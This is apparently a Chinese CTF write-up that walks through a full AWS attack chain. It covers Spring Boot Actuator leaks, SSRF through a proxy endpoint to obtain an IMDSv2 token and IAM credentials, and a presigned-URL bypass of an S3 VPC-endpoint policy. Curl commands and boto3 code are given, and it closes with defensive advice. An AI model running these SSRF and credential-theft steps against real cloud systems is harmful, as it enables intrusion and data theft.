WIZ竞标赛 Perimeter Leak wp
字数 1694 2025-10-01 14:05:44
AWS 安全渗透:Spring Boot Actuator 漏洞利用与 S3 数据泄露实战
1. 背景与目标
在一次针对 AWS 环境的渗透测试中,我们发现了一个 Spring Boot Actuator 应用,其端点存在信息泄露漏洞。最终目标是获取存储在 S3 存储桶中的敏感数据(flag)。
初始访问点:
https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
2. 信息收集与漏洞发现
2.1 Actuator 端点枚举
通过访问 /actuator 端点发现多个信息泄露点:
# 检查应用状态
curl -k "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com"
# 访问环境变量端点
curl -k "https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env"
在环境信息中发现关键数据:
- S3 存储桶地址:
https://challenge01-470f711.s3.amazonaws.com/ - EC2 元数据服务相关配置
2.2 路由映射分析
访问 /actuator/mappings 发现存在代理接口:
GET /proxy?url={url}
此接口存在 SSRF(服务器端请求伪造)漏洞,可用于内部网络探测。
3. SSRF 攻击与 IMDSv2 绕过
3.1 IMDSv2 安全机制
AWS 的实例元数据服务 v2 版本需要以下访问流程:
- 首先向
http://169.254.169.254/latest/api/token发送 PUT 请求 - 获取临时 token(需设置 TTL 头)
- 使用该 token 访问其他元数据端点
3.2 获取元数据访问令牌
# 获取 IMDSv2 token
curl -k -X PUT \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 3600"
3.3 获取实例元数据
使用获取的 token 访问元数据:
# 获取 IAM 角色信息
curl -k \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-H "X-aws-ec2-metadata-token: <上面获取的token>"
# 获取临时凭证
curl -k \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<角色名称>" \
-H "X-aws-ec2-metadata-token: <token>"
4. AWS 凭证配置与权限分析
4.1 配置 AWS CLI
将获取的临时凭证配置到本地:
aws configure set aws_access_key_id <AccessKeyId>
aws configure set aws_secret_access_key <SecretAccessKey>
aws configure set aws_session_token <Token>
4.2 权限枚举
发现权限受限,仅能执行部分 STS 和 DynamoDB 操作:
# 测试可用服务
aws sts get-caller-identity
aws dynamodb list-tables
5. 绕过 VPC Endpoint 限制
5.1 策略分析
S3 存储桶策略检查 aws:SourceVpce 条件,要求请求必须来自特定 VPC Endpoint(vpce-0dfd8b6aa1642a057)。
5.2 预签名 URL 技术
生成预签名 URL 绕过端点限制:
import boto3
from urllib.parse import quote
# 使用获取的凭证创建 S3 客户端
s3 = boto3.client(
's3',
aws_access_key_id='ACCESS_KEY',
aws_secret_access_key='SECRET_KEY',
aws_session_token='SESSION_TOKEN'
)
# 生成预签名 URL(需要对特殊字符进行 URL 编码)
presigned_url = s3.generate_presigned_url(
'get_object',
Params={'Bucket': 'challenge01-470f711', 'Key': 'private/flag.txt'},
ExpiresIn=3600
)
# URL 编码
encoded_url = quote(presigned_url, safe='')
5.3 通过代理接口访问
curl -k \
"https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/proxy?url=${encoded_url}"
6. 关键知识点总结
6.1 Spring Boot Actuator 安全
- Actuator 端点可能泄露敏感信息(env、mappings、heapdump 等)
- 应禁用不必要的端点或实施访问控制
6.2 IMDSv2 安全机制
- 需要 PUT 请求获取 token
- 比 IMDSv1 更安全,防止简单的 SSRF 攻击
- 但仍可通过能够发送头部信息的 SSRF 漏洞绕过
6.3 VPC Endpoint 限制绕过
- 预签名 URL 允许临时授权访问 S3 资源
- 不检查请求源,仅验证签名有效性
- 需要正确处理 URL 编码
6.4 AWS 权限边界
- 即使获取临时凭证,也可能受到策略限制
- 需要仔细分析可用权限和绕过方法
7. 防御建议
-
保护 Actuator 端点:
- 实施身份验证和授权
- 禁用生产环境中不必要的端点
-
加固 IMDS:
- 使用 IMDSv2 并设置跳数限制
- 使用 IAM 策略限制元数据访问
-
S3 存储桶安全:
- 避免使用仅依赖 VPC Endpoint 的策略
- 结合多种条件(如源IP、IAM角色等)
-
网络隔离:
- 限制实例的出站互联网访问
- 使用安全组和网络 ACL 加强控制
8. 参考资源
- AWS IMDSv2 文档:https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
- S3 预签名 URL:https://docs.aws.amazon.com/zh_cn/AmazonS3/latest/userguide/ShareObjectPreSignedURL.html
- Spring Boot Actuator 安全:https://spring.io/guides/gs/actuator-service/
通过本案例,我们展示了如何利用常见的配置错误和安全漏洞,从信息泄露到最终获取敏感数据的完整攻击链。这对于防御方理解如何加固 AWS 环境具有重要意义。